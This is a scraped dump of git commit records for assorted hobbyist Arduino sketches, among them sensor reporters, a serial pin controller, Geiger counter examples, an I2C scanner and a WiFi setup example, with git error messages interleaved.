+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );
+     for (byte thisByte = 0; thisByte < 6; thisByte++) {
+       sprintf(buffer, "%x", mac[thisByte] );
+       strcat(packetBuffer, buffer);
+     }
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );
+     strcat(packetBuffer, "detected");
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );
+     strcat(packetBuffer, itoa( millis()/1000, buffer, 10) );
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );
+
+     Serial.println(packetBuffer);
+     udp.beginPacket(udp.remoteIP(), udp.remotePort());
+     udp.write(packetBuffer);
+     udp.endPacket();
+     requestID = requestID + 1;
+
+
+  } else {
+    if ((millis() - lastCallbackTime) > 60000) {
+      callback();
+      lastCallbackTime = millis();
+    }
+  }
+
+  delay(1000);
+
+}
+
+void callback() {
+     char buffer[12];
+     strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );
+     strcat(packetBuffer, itoa( requestID, buffer, 10) );
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );
+     for (byte thisByte = 0; thisByte < 6; thisByte++) {
+       sprintf(buffer, "%x", mac[thisByte] );
+       strcat(packetBuffer, buffer);
+     }
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );
+     for (byte thisByte = 0; thisByte < 6; thisByte++) {
+       sprintf(buffer, "%x", mac[thisByte] );
+       strcat(packetBuffer, buffer);
+     }
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );
+     strcat(packetBuffer, "absent");
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );
+     strcat(packetBuffer, itoa( millis()/1000, buffer, 10) );
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );
+
+     Serial.println(packetBuffer);
+     udp.beginPacket(udp.remoteIP(), udp.remotePort());
+     udp.write(packetBuffer);
+     udp.endPacket();
+     requestID = requestID + 1;
+}
+
+boolean isExposedToWater() {
+	if(digitalRead(WATER_SENSOR) == LOW)
+		return true;
+	else return false;
+}


finished PID subroutine

finished PID subroutine

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/GaParmar/quadcopter.git/'


add sketch

add sketch

error: pathspec 'ABControllerSketch/ABControlSketch.ino' did not match any file(s) known to git

--- ABControllerSketch/ABControlSketch.ino
+++ ABControllerSketch/ABControlSketch.ino
@@ -0,0 +1,273 @@
+#include <SoftwareSerial.h>
+
+SoftwareSerial mySerial(11, 12); // RX, TX
+
+#define TOTAL_PINS 18
+
+#define PIN_CAPABILITY_NONE      0x00
+#define PIN_CAPABILITY_DIGITAL   0x01
+#define PIN_CAPABILITY_ANALOG    0x02
+#define PIN_CAPABILITY_PWM       0x04
+#define PIN_CAPABILITY_SERVO     0x08
+#define PIN_CAPABILITY_I2C       0x10
+
+#define PIN_MODE_INPUT            0x00
+#define PIN_MODE_OUTPUT           0x01
+#define PIN_MODE_ANALOG           0x02
+#define PIN_MODE_PWM              0x03
+
+#define PIN_STATE_HIGH            0x01
+#define PIN_STATE_LOW            0x00
+
+#define WAIT_SECONDS          3
+
+#define FIRST_ANALOG_PIN        5
+#define IS_PIN_DIGITAL(p)       (((p) >= 0 && (p) < TOTAL_PINS))
+#define IS_PIN_ANALOG(p)        ((p) >= 5 && (p) < 14)
+#define IS_PIN_PWM(p)           ((p) >= 3 && (p) <= 7)
+#define PIN_TO_ANALOG(p)        ((p) - FIRST_ANALOG_PIN)
+
+byte pinSerial[] = {0,1,2,3,5,6,9,10,4,8,18,19,20,21,7,14,15,16};
+int pinAnalog[] = {A7,A9,A10,A6,A8,A0,A1,A2,A3};
+byte pin_mode[TOTAL_PINS];
+byte pin_state[TOTAL_PINS];
+byte pin_pwm[TOTAL_PINS];
+byte pin_servo[TOTAL_PINS];
+
+void setup()
+{
+  mySerial.begin(9600);
+
+   for (int pin = 0; pin < TOTAL_PINS; pin++)
+    {
+        // Set pin to input with internal pull up
+        pinMode(pinSerial[pin], OUTPUT);
+        digitalWrite(pinSerial[pin], HIGH);
+
+        // Save pin mode and state
+        pin_mode[pin] = PIN_MODE_OUTPUT;
+        pin_state[pin] = HIGH;
+    }
+}
+
+byte reportDigitalInput()
+{
+    static byte pin = 0;
+    byte report = 0;
+
+    if (!IS_PIN_DIGITAL(pin))
+    {
+        pin++;
+        if (pin >= TOTAL_PINS)
+            pin = 0;
+        return 0;
+    }
+
+    if (pin_mode[pin] == PIN_MODE_INPUT)
+    {
+        byte current_state = digitalRead(pinSerial[pin]);
+
+        if (pin_state[pin] != current_state)
+        {
+            pin_state[pin] = current_state;
+            byte buf[] = {'G', pin, pin_mode[pin], current_state};
+            mySerial.write(buf, 4);
+
+            report = 1;
+        }
+    }
+
+    pin++;
+    if (pin >= TOTAL_PINS)
+        pin = 0;
+
+    return report;
+}
+
+
+void reportPinCapability(byte pin)
+{
+    byte buf[] = {'P', pin, 0x00};
+    byte pin_cap = 0;
+
+    if (IS_PIN_DIGITAL(pin))
+        pin_cap |= PIN_CAPABILITY_DIGITAL;
+
+    if (IS_PIN_ANALOG(pin))
+        pin_cap |= PIN_CAPABILITY_ANALOG;
+
+    if (IS_PIN_PWM(pin))
+        pin_cap |= PIN_CAPABILITY_PWM;
+
+//    if (IS_PIN_SERVO(pin))
+//        pin_cap |= PIN_CAPABILITY_SERVO;
+
+    buf[2] = pin_cap;
+    mySerial.write(buf, 3);
+}
+void reportPinDigitalData(byte pin)
+{
+    byte state = digitalRead(pin);
+    byte mode = pin_mode[pin];
+    byte buf[] = {'G', pin, mode, state};
+    mySerial.write(buf, 4);
+}
+
+void reportPinPWMData(byte pin)
+{
+    byte value = pin_pwm[pin];
+    byte mode = pin_mode[pin];
+    byte buf[] = {'G', pin, mode, value};
+    mySerial.write(buf, 4);
+}
+
+byte reportPinAnalogData()
+{
+    static byte pin = 0;
+    byte report = 0;
+
+    if (!IS_PIN_DIGITAL(pin))
+    {
+        pin++;
+        if (pin >= TOTAL_PINS)
+            pin = 0;
+        return 0;
+    }
+
+    if (pin_mode[pin] == PIN_MODE_ANALOG)
+    {
+        delay(WAIT_SECONDS);
+        uint16_t value = analogRead(pinAnalog[PIN_TO_ANALOG(pin)]);
+        byte value_lo = value;
+        byte value_hi = value>>8;
+
+        byte mode = pin_mode[pin];
+        mode = (value_hi << 4) | mode;
+
+        byte buf[] = {'G', pin, mode, value_lo};
+        mySerial.write(buf, 4);
+    }
+
+    pin++;
+    if (pin >= TOTAL_PINS)
+        pin = 0;
+
+    return report;
+}
+
+void loop()
+{
+  while(mySerial.available() > 0)
+  {
+    byte cmd;
+    cmd = mySerial.read();
+    switch (cmd)
+    {
+      case 'C':
+      {
+        byte buf[2];
+        buf[0] = 'C';
+        buf[1] = TOTAL_PINS;
+        mySerial.write(buf, 2);
+      }
+      break;
+      case 'A':
+      {
+         for (int pin = 0; pin < TOTAL_PINS; pin++)
+            {
+                    reportPinCapability(pin);
+                    if ( (pin_mode[pin] == PIN_MODE_INPUT) || (pin_mode[pin] == PIN_MODE_OUTPUT) )
+                    {
+                        reportPinDigitalData(pin);
+                    }
+                    else if (pin_mode[pin] == PIN_MODE_PWM)
+                    {
+                        reportPinPWMData(pin);
+                    }
+                    else if (pin_mode[pin] == PIN_MODE_ANALOG)
+                    {
+                         reportPinDigitalData(pin);
+                    }
+             }
+      }
+      break;
+      case 'T':
+      {
+        delay(WAIT_SECONDS);
+        int pin = mySerial.read();
+        delay(WAIT_SECONDS);
+        int state = mySerial.read();
+
+        if (state == PIN_STATE_HIGH) {
+          digitalWrite(pinSerial[pin], HIGH);
+          pin_state[pin] = HIGH;
+        } else {
+          digitalWrite(pinSerial[pin], LOW);
+          pin_state[pin] = LOW;
+        }
+      }
+      break;
+      case 'N':
+      {
+        delay(WAIT_SECONDS);
+        byte pin = mySerial.read();
+        delay(WAIT_SECONDS);
+        byte value = mySerial.read();
+        analogWrite(pinSerial[pin], value);
+        pin_pwm[pin] = value;
+      }
+      break;
+      case 'S':
+      {
+        delay(WAIT_SECONDS);
+        byte pin = mySerial.read();
+        delay(WAIT_SECONDS);
+        byte mode = mySerial.read();
+
+        if (mode != pin_mode[pin])
+        {
+          pin_mode[pin] = mode;
+          if (mode == PIN_MODE_OUTPUT)
+          {
+            pinMode(pinSerial[pin], OUTPUT);
+            digitalWrite(pinSerial[pin], HIGH);
+            pin_state[pin] = HIGH;
+            reportPinDigitalData(pin);
+          }
+          else if (mode == PIN_MODE_INPUT)
+          {
+             pinMode(pinSerial[pin], INPUT);
+             reportPinDigitalData(pin);
+          }
+          else if (mode == PIN_MODE_ANALOG && IS_PIN_ANALOG(pin))
+          {
+            pinMode(pinSerial[pin], INPUT);
+            reportPinDigitalData(pin);
+          }
+          else if (mode == PIN_MODE_PWM && IS_PIN_PWM(pin))
+          {
+            pinMode(pinSerial[pin], OUTPUT);
+            analogWrite(pinSerial[pin], 0);
+            pin_pwm[pin] = 0;
+            reportPinPWMData(pin);
+          }
+        }
+      }
+      break;
+    }
+
+  }
+
+  reportPinAnalogData();
+
+  byte input_data_pending = reportDigitalInput();
+  if (input_data_pending)
+  {
+    return;
+  }
+
+
+}
+
+
+


Edit on the sketch =>V0.3

Edit on the sketch =>V0.3

Cleaning the sketch.
initiated "int pin" in scope


GPS read code

GPS read code

arduino code that reads from the Ultimate GPS breakout v3 and prints
NMEA 0183 standard information to the serial monitor.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lolisa/2014-15.git/'


Create Voltmeter.ino

Create Voltmeter.ino

Code part for analog voltmeter with resistor

error: pathspec 'laddstation/sub-module/Voltmeter.ino' did not match any file(s) known to git

--- laddstation/sub-module/Voltmeter.ino
+++ laddstation/sub-module/Voltmeter.ino
@@ -0,0 +1,39 @@
+/* Function Analog voltmeter -------------------------------------------------------
+ * analogvalue is the reading from the analog input pin A0
+ * DigitalWrite D3 is to set a digital output
+ * This means that it will map input voltages between 0 and 5 volts into integer values between 0 and 1023.
+ * This yields a resolution between readings of: 5 volts / 1024 units or, .0049 volts (4.9 mV) per unit
+ * konstant 112 is calibrated depending on resistor
+ *----------------------------------------------------------------------------/
+ int analogvalue;
+ float temp;
+ float batteryVoltage;
+
+ void setup()
+{
+    pinMode(D3, OUTPUT);
+    pinMode(A0, INPUT);
+ }
+
+ /* This function loops forever --------------------------------------------*/
+void loop()
+
+ // check to see what the value of the A0 input is and store it in the int(heltal) variable analogvalue
+ // batteryVoltage är ett flyttal som visar decimaler. Formel : batteryVoltage = A0 * 2 / 112
+    analogvalue = analogRead(A0);
+    temp = analogvalue*2;
+    batteryVoltage = temp/112;
+
+
+    if (analogvalue>2000) {
+        digitalWrite(D3,HIGH);
+
+    }
+    else if (analogvalue<2000) {
+        digitalWrite(D3,LOW);
+    }
+    else {
+
+    }
+
+}


Add multiple sensor example

Add multiple sensor example

error: pathspec 'examples/MultipleSensorsSerialPrinter/MultipleSensorsSerialPrinter.ino' did not match any file(s) known to git

--- examples/MultipleSensorsSerialPrinter/MultipleSensorsSerialPrinter.ino
+++ examples/MultipleSensorsSerialPrinter/MultipleSensorsSerialPrinter.ino
@@ -0,0 +1,79 @@
+/*
+This example intends to show how to use the library with multiple Pocket Geiger
+wired to the Arduino.
+
+It is based on the SerialPrinterEnableInterrupt, as we need the EnableInterrupt library
+for attaching interrupts to more than two pins (at least on Arduino Uno).
+
+In the example, we assumes we have two Pocket Geiger connected, with the wiring described below.
+
+First Pocket Geiger is wired to:
+* SIG pin to Arduino pin 2
+* NS pin to Arduino pin 3
+
+Second Pocket Geiger is wired to:
+* SIG pin to Arduino pin 4
+* NS pin to Arduino pin 5
+
+See a list of pins supported here:
+https://github.com/GreyGnome/EnableInterrupt/wiki/Usage#pin--port-bestiary
+
+You can install the EnableInterrupt library from the Arduino Library Manager:
+http://www.arduinolibraries.info/libraries/enable-interrupt
+*/
+
+// EnableInterrupt from https://github.com/GreyGnome/EnableInterrupt
+// include it before RadiationWatch.h
+#include "EnableInterrupt.h"
+#include "RadiationWatch.h"
+
+// First Pocket Geiger: signPin = 2, noisePin = 3
+RadiationWatch radiationWatch1(2, 3);
+// Second Pocket Geiger: signPin = 4, noisePin = 5
+RadiationWatch radiationWatch2(4, 5);
+
+void onRadiation1()
+{
+  Serial.println("[PG1] A wild gamma ray appeared");
+  Serial.print("[PG1] ");
+  Serial.print(radiationWatch1.uSvh());
+  Serial.print(" uSv/h +/- ");
+  Serial.println(radiationWatch1.uSvhError());
+}
+
+void onNoise1()
+{
+  Serial.println("[PG1] Argh, noise, please stop moving");
+}
+
+void onRadiation2()
+{
+  Serial.println("[PG2] A wild gamma ray appeared");
+  Serial.print("[PG2] ");
+  Serial.print(radiationWatch2.uSvh());
+  Serial.print(" uSv/h +/- ");
+  Serial.println(radiationWatch2.uSvhError());
+}
+
+void onNoise2()
+{
+  Serial.println("[PG2] Argh, noise, please stop moving");
+}
+
+void setup()
+{
+  Serial.begin(9600);
+  radiationWatch1.setup();
+  radiationWatch2.setup();
+  // Register the callbacks.
+  radiationWatch1.registerRadiationCallback(&onRadiation1);
+  radiationWatch1.registerNoiseCallback(&onNoise1);
+  radiationWatch2.registerRadiationCallback(&onRadiation2);
+  radiationWatch2.registerNoiseCallback(&onNoise2);
+}
+
+void loop()
+{
+  radiationWatch1.loop();
+  radiationWatch2.loop();
+}


only sending

only sending

error: pathspec 'HumanRoulette.ino' did not match any file(s) known to git

--- HumanRoulette.ino
+++ HumanRoulette.ino
@@ -0,0 +1,40 @@
+/*
+  HumanRoulette
+*/
+
+#include <RCSwitch.h>
+
+RCSwitch mySwitch = RCSwitch();
+
+void setup() {
+
+  Serial.begin(9600);
+
+  // Transmitter is connected to Arduino Pin #10
+  mySwitch.enableTransmit(4);
+
+  // Optional set pulse length.
+  // mySwitch.setPulseLength(320);
+
+  // Optional set protocol (default is 1, will work for most outlets)
+  // mySwitch.setProtocol(2);
+
+  // Optional set number of transmission repetitions.
+  // mySwitch.setRepeatTransmit(15);
+
+}
+
+void loop() {
+
+  //for(int i=140; i<180; i+=2)
+  {
+//    Serial.println(i);
+    mySwitch.setPulseLength(170);
+    /* Same switch as above, but tri-state code */
+    mySwitch.sendTriState("FFFFFFFF0000");
+    delay(500);
+    mySwitch.sendTriState("FFFFFFFF1111");
+    delay(500);
+  }
+
+}


fix: MoviePlayer

fix: MoviePlayer

error: pathspec 'examples/movie_simple/movie_simple.ino' did not match any file(s) known to git

--- examples/movie_simple/movie_simple.ino
+++ examples/movie_simple/movie_simple.ino
@@ -0,0 +1,55 @@
+#include <SD.h>
+
+#include <Adafruit_GFX.h>       // https://github.com/adafruit/Adafruit-GFX-Library
+#include <Fontx.h>              // https://github.com/h-nari/Fontx
+#include <Humblesoft_GFX.h>     // https://github.com/h-nari/Humblesoft_GFX
+#include <Humblesoft_LedMat.h>  // https://github.com/h-nari/Humblesoft_LedMat
+#include <MoviePlayer.h>        // included in Humblesoft_LedMat
+
+uint8_t imgBuf[1024*24];
+MoviePlayer moviePlayer;
+
+void setup(void)
+{
+  Serial.begin(115200);
+  delay(100);
+  Serial.println("\n\nReset:");
+
+  Serial.println("Initialize");
+  LedMat.begin(LMMT64x32s16,1,1);
+  LedMat.setImgBuf(imgBuf, sizeof(imgBuf));
+  LedMat.setBright(10);
+  LedMat.setPlane(8);
+
+  LedMat.setTextWrap(true);
+  LedMat.clear();
+  LedMat.printf("%dx%d\n",LedMat.width(),LedMat.height());
+  LedMat.setTextColor("red");
+  LedMat.print("R");
+  LedMat.setTextColor("green");
+  LedMat.print("G");
+  LedMat.setTextColor("blue");
+  LedMat.println("B");
+  LedMat.display();
+}
+
+int  cnt;
+File dir;
+
+void loop(void){
+  LedMat.checkSubcon();
+
+  if(!moviePlayer.update()){
+    LedMat.clear();
+    LedMat.display();
+    delay(1000);
+    if(!moviePlayer.begin("/movie.hlm"))
+      LedMat.printf("Error");
+  }
+}
+
+
+/*** Local variables: ***/
+/*** tab-width:2      ***/
+/*** truncate-lines:t ***/
+/*** End:             ***/


Pulse sensor rewritten first draft

Pulse sensor rewritten first draft

Needs work

error: pathspec 'Individual' did not match any file(s) known to git
error: pathspec 'sensor' did not match any file(s) known to git
error: pathspec 'rewritten/Pulse.ino' did not match any file(s) known to git


Delete DigoleSerialDisp_GeoDemo.ino

Delete DigoleSerialDisp_GeoDemo.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/timothybrown/Spark-Core-Sundries.git/'


Sketches: Add blink-sos-led

Sketches: Add blink-sos-led

Fix https://github.com/gmacario/learning-arduino/issues/31

error: pathspec 'Sketches/blink-sos-led/blink-sos-led.ino' did not match any file(s) known to git

--- Sketches/blink-sos-led/blink-sos-led.ino
+++ Sketches/blink-sos-led/blink-sos-led.ino
@@ -0,0 +1,59 @@
+/*
+  Blink
+  Turns a LED on and off for some time, repeatedly.
+
+  This example code is in the public domain.
+ */
+
+
+// Pin 13 has an LED connected on most Arduino boards.
+// give it a name:
+int led = 13;
+
+int tick = 200;
+
+// the setup routine runs once when you press reset:
+void setup() {
+  // initialize the digital pin as an output.
+  pinMode(led, OUTPUT);
+}
+
+void dits(int n)
+{
+  for (int k = 0; k < n; k++) {
+    digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
+    delay(tick);
+    digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
+    delay(tick);
+  }
+}
+
+void dahs(int n)
+{
+  for (int k = 0; k < n; k++) {
+    digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
+    delay(3 * tick);
+    digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
+    delay(tick);
+  }
+}
+
+// the loop routine runs over and over again forever:
+void loop() {
+
+//  int k = 0;
+//  while (true) {
+//    digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
+//    delay((k + 1) * 50);       // wait for some time
+//    digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
+//    delay((16 - k) * 50);      // wait for some remaining time
+//    k = (k + 1) % 16;
+//  }
+
+  dits(3);
+  delay(2 * tick);
+  dahs(3);
+  delay(2 * tick);
+  dits(3);
+  delay(10 * tick);
+}


Added I2C-scanner tool

Added I2C-scanner tool

error: pathspec 'src/I2C_Scanner/I2C_Scanner.ino' did not match any file(s) known to git

--- src/I2C_Scanner/I2C_Scanner.ino
+++ src/I2C_Scanner/I2C_Scanner.ino
@@ -0,0 +1,26 @@
+// I2C Scanner
+
+#include <Wire.h>
+
+byte number=0;
+
+void setup() {
+  Serial.begin (9600);
+  Serial.println ("Looking for I2C-devices...");
+  Wire.begin();
+  for (byte adress=8; adress<120; adress++)
+  {
+    Wire.beginTransmission(adress);
+    if (Wire.endTransmission()==0)
+    {
+      Serial.print(number+1);
+      Serial.print(". Device: 0x");
+      Serial.println(adress, HEX);
+      number++;
+    }
+  }
+  Serial.print (number, DEC);
+  Serial.println (" device(s) found.");
+}
+
+void loop() {}


added feedback through LED blink example

error: pathspec 'examples/AutoConnectWithFeedbackLED/AutoConnectWithFeedbackLED.ino' did not match any file(s) known to git

--- examples/AutoConnectWithFeedbackLED/AutoConnectWithFeedbackLED.ino
+++ examples/AutoConnectWithFeedbackLED/AutoConnectWithFeedbackLED.ino
@@ -0,0 +1,68 @@
+#include <ESP8266WiFi.h>          //https://github.com/esp8266/Arduino
+
+//needed for library
+#include <DNSServer.h>
+#include <ESP8266WebServer.h>
+#include <WiFiManager.h>          //https://github.com/tzapu/WiFiManager
+
+//for LED status
+#include <Ticker.h>
+Ticker ticker;
+
+void tick()
+{
+  //toggle state
+  int state = digitalRead(BUILTIN_LED);  // get the current state of GPIO1 pin
+  digitalWrite(BUILTIN_LED, !state);     // set pin to the opposite state
+}
+
+//gets called when WiFiManager enters configuration mode
+void configModeCallback (WiFiManager *myWiFiManager) {
+  Serial.println("Entered config mode");
+  Serial.println(WiFi.softAPIP());
+  //if you used auto generated SSID, print it
+  Serial.println(myWiFiManager->getConfigPortalSSID());
+  //entered config mode, make led toggle faster
+  ticker.attach(0.2, tick);
+}
+
+void setup() {
+  // put your setup code here, to run once:
+  Serial.begin(115200);
+
+  //set led pin as output
+  pinMode(BUILTIN_LED, OUTPUT);
+  // start ticker with 0.5 because we start in AP mode and try to connect
+  ticker.attach(0.6, tick);
+
+  //WiFiManager
+  //Local intialization. Once its business is done, there is no need to keep it around
+  WiFiManager wifiManager;
+  //reset settings - for testing
+  //wifiManager.resetSettings();
+
+  //set callback that gets called when connecting to previous WiFi fails, and enters Access Point mode
+  wifiManager.setAPCallback(configModeCallback);
+
+  //fetches ssid and pass and tries to connect
+  //if it does not connect it starts an access point with the specified name
+  //here  "AutoConnectAP"
+  //and goes into a blocking loop awaiting configuration
+  if (!wifiManager.autoConnect()) {
+    Serial.println("failed to connect and hit timeout");
+    //reset and try again, or maybe put it to deep sleep
+    ESP.reset();
+    delay(1000);
+  }
+
+  //if you get here you have connected to the WiFi
+  Serial.println("connected...yeey :)");
+  ticker.detach();
+  //keep LED on
+  digitalWrite(BUILTIN_LED, LOW);
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+
+}


Create receiveData.ino

Create receiveData.ino

error: pathspec 'ArduinoCodes/receiveData.ino' did not match any file(s) known to git

--- ArduinoCodes/receiveData.ino
+++ ArduinoCodes/receiveData.ino
@@ -0,0 +1,24 @@
+/*
+ * Author: Manash Kumar Mandal
+ * Example For receiving data from SerialPort
+ */
+
+#define BAUD 9600
+#define DELAY_TIME 100
+#define led 13
+
+String receivedString;
+
+void setup() {
+  Serial.begin(BAUD);
+  pinMode(led, OUTPUT);
+}
+
+void loop() {
+  if (Serial.available() > 0){
+    receivedString = Serial.readStringUntil('\n');
+  }
+
+  if (receivedString.equals("ON")) digitalWrite(led, HIGH);
+  else if (receivedString.equals("OFF")) digitalWrite(led, LOW);
+}


Restore ArdulinkProtocol.ino for a problem with SVN

error: pathspec 'Deploy/rootfolder/sketches/ArdulinkProtocol/ArdulinkProtocol.ino' did not match any file(s) known to git

--- Deploy/rootfolder/sketches/ArdulinkProtocol/ArdulinkProtocol.ino
+++ Deploy/rootfolder/sketches/ArdulinkProtocol/ArdulinkProtocol.ino
@@ -0,0 +1,196 @@
+/*
+Copyright 2013 Luciano Zu project Ardulink http://www.ardulink.org/
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+
+This sketch is an example to understand how Arduino can recognize ALProtocol.
+However, it can easily be reused for their own purposes or as a base for a library.
+Read carefully the comments. When you find "this is general code you can reuse"
+then it means that it is generic code that you can use to manage the ALProtocol.
+When you find "this is needed just as example for this sketch" then it means that
+you code useful for a specific purpose. In this case you have to modify it to suit
+your needs.
+*/
+
+// int intensity = 0;               // led intensity this is needed just as example for this sketch
+String inputString = "";         // a string to hold incoming data (this is general code you can reuse)
+boolean stringComplete = false;  // whether the string is complete (this is general code you can reuse)
+
+#define digitalPinListeningNum 14 // Change 14 if you have a different number of pins.
+#define analogPinListeningNum 6 // Change 6 if you have a different number of pins.
+boolean digitalPinListening[digitalPinListeningNum]; // Array used to know which pins on the Arduino must be listening.
+boolean analogPinListening[analogPinListeningNum]; // Array used to know which pins on the Arduino must be listening.
+int digitalPinListenedValue[digitalPinListeningNum]; // Array used to know which value is read last time.
+int analogPinListenedValue[analogPinListeningNum]; // Array used to know which value is read last time.
+
+void setup() {
+  // initialize serial: (this is general code you can reuse)
+  Serial.begin(115200);
+
+  //set to false all listen variable
+  int index = 0;
+  for (index = 0; index < digitalPinListeningNum; index++) {
+    digitalPinListening[index] = false;
+    digitalPinListenedValue[index] = -1;
+  }
+  for (index = 0; index < analogPinListeningNum; index++) {
+    analogPinListening[index] = false;
+    analogPinListenedValue[index] = -1;
+  }
+
+  // Turn off everything (not on RXTX)
+  for (index = 2; index < digitalPinListeningNum; index++) {
+    pinMode(index, OUTPUT);
+    digitalWrite(index, LOW);
+  }
+
+  // Turn off LED this is needed just as example for this sketch
+//  analogWrite(11, intensity);
+
+  // Read from 4 this is needed just as example for this sketch
+//  pinMode(4, INPUT);
+}
+
+void loop() {
+  // when a newline arrives:
+  if (stringComplete) {
+
+    if(inputString.startsWith("alp://")) { // OK is a message I know (this is general code you can reuse)
+
+      boolean msgRecognized = true;
+
+      if(inputString.substring(6,10) == "kprs") { // KeyPressed
+        // here you can write your own code. For instance the commented code change pin intensity if you press 'a' or 's'
+        // take the command and change intensity on pin 11 this is needed just as example for this sketch
+        //char commandChar = inputString.charAt(14);
+        //if(commandChar == 'a' and intensity > 0) { // If press 'a' less intensity
+        //  intensity--;
+        //  analogWrite(11,intensity);
+        //} else if(commandChar == 's' and intensity < 125) { // If press 's' more intensity
+        //  intensity++;
+        //  analogWrite(11,intensity);
+        //}
+      } else if(inputString.substring(6,10) == "ppin") { // Power Pin Intensity (this is general code you can reuse)
+          int separatorPosition = inputString.indexOf('/', 11 );
+          String pin = inputString.substring(11,separatorPosition);
+          String intens = inputString.substring(separatorPosition + 1);
+          pinMode(pin.toInt(), OUTPUT);
+          analogWrite(pin.toInt(),intens.toInt());
+      } else if(inputString.substring(6,10) == "ppsw") { // Power Pin Switch (this is general code you can reuse)
+          int separatorPosition = inputString.indexOf('/', 11 );
+          String pin = inputString.substring(11,separatorPosition);
+          String power = inputString.substring(separatorPosition + 1);
+          pinMode(pin.toInt(), OUTPUT);
+          if(power.toInt() == 1) {
+            digitalWrite(pin.toInt(), HIGH);
+          } else if(power.toInt() == 0) {
+            digitalWrite(pin.toInt(), LOW);
+          }
+      } else if(inputString.substring(6,10) == "srld") { // Start Listen Digital Pin (this is general code you can reuse)
+          String pin = inputString.substring(11);
+          digitalPinListening[pin.toInt()] = true;
+          digitalPinListenedValue[pin.toInt()] = -1; // Ensure a message back when start listen happens.
+          pinMode(pin.toInt(), INPUT);
+      } else if(inputString.substring(6,10) == "spld") { // Stop Listen Digital Pin (this is general code you can reuse)
+          String pin = inputString.substring(11);
+          digitalPinListening[pin.toInt()] = false;
+          digitalPinListenedValue[pin.toInt()] = -1; // Ensure a message back when start listen happens.
+      } else if(inputString.substring(6,10) == "srla") { // Start Listen Analog Pin (this is general code you can reuse)
+          String pin = inputString.substring(11);
+          analogPinListening[pin.toInt()] = true;
+          analogPinListening[pin.toInt()] = -1; // Ensure a message back when start listen happens.
+      } else if(inputString.substring(6,10) == "spla") { // Stop Listen Analog Pin (this is general code you can reuse)
+          String pin = inputString.substring(11);
+          analogPinListening[pin.toInt()] = false;
+          analogPinListening[pin.toInt()] = -1; // Ensure a message back when start listen happens.
+      } else {
+        msgRecognized = false; // this sketch doesn't know other messages in this case command is ko (not ok)
+      }
+
+      // Prepare reply message if caller supply a message id (this is general code you can reuse)
+      int idPosition = inputString.indexOf("?id=");
+      if(idPosition != -1) {
+        String id = inputString.substring(idPosition + 4);
+        // print the reply
+        Serial.print("alp://rply/");
+        if(msgRecognized) { // this sketch doesn't know other messages in this case command is ko (not ok)
+          Serial.print("ok?id=");
+        } else {
+          Serial.print("ko?id=");
+        }
+        Serial.print(id);
+        Serial.write(255); // End of Message
+        Serial.flush();
+      }
+    }
+
+    // clear the string:
+    inputString = "";
+    stringComplete = false;
+  }
+
+  // Send listen messages
+  int index = 0;
+  for (index = 0; index < digitalPinListeningNum; index++) {
+    if(digitalPinListening[index] == true) {
+      int value = digitalRead(index);
+      if(value != digitalPinListenedValue[index]) {
+        digitalPinListenedValue[index] = value;
+        Serial.print("alp://dred/");
+        Serial.print(index);
+        Serial.print("/");
+        Serial.print(value);
+        Serial.write(255); // End of Message
+        Serial.flush();
+      }
+    }
+  }
+  for (index = 0; index < analogPinListeningNum; index++) {
+    if(analogPinListening[index] == true) {
+      int value = analogRead(index);
+      if(value != analogPinListenedValue[index]) {
+        analogPinListenedValue[index] = value;
+        Serial.print("alp://ared/");
+        Serial.print(index);
+        Serial.print("/");
+        Serial.print(value);
+        Serial.write(255); // End of Message
+        Serial.flush();
+      }
+    }
+  }
+}
+
+/*
+  SerialEvent occurs whenever a new data comes in the
+ hardware serial RX.  This routine is run between each
+ time loop() runs, so using delay inside loop can delay
+ response.  Multiple bytes of data may be available.
+ This is general code you can reuse.
+ */
+void serialEvent() {
+
+  while (Serial.available() && !stringComplete) {
+    // get the new byte:
+    char inChar = (char)Serial.read();
+    // add it to the inputString:
+    inputString += inChar;
+    // if the incoming character is a newline, set a flag
+    // so the main loop can do something about it:
+    if (inChar == '\n') {
+      stringComplete = true;
+    }
+  }
+}
+
+


added code for Sender

added code for Sender

tested on Arduino as well as ATmega328p.

error: pathspec 'Modules/Action/Sender/ArduinoCodes/SenderATmega/SenderATmega.ino' did not match any file(s) known to git

--- Modules/Action/Sender/ArduinoCodes/SenderATmega/SenderATmega.ino
+++ Modules/Action/Sender/ArduinoCodes/SenderATmega/SenderATmega.ino
@@ -0,0 +1,83 @@
+/*
+**  ModuleNameATmega.ino
+**  MakerWear ModuleName Module's ATmega Program.
+**
+**  Description
+**  Description
+**  Description
+**
+**
+**  ATmega328 Pin Configurations:
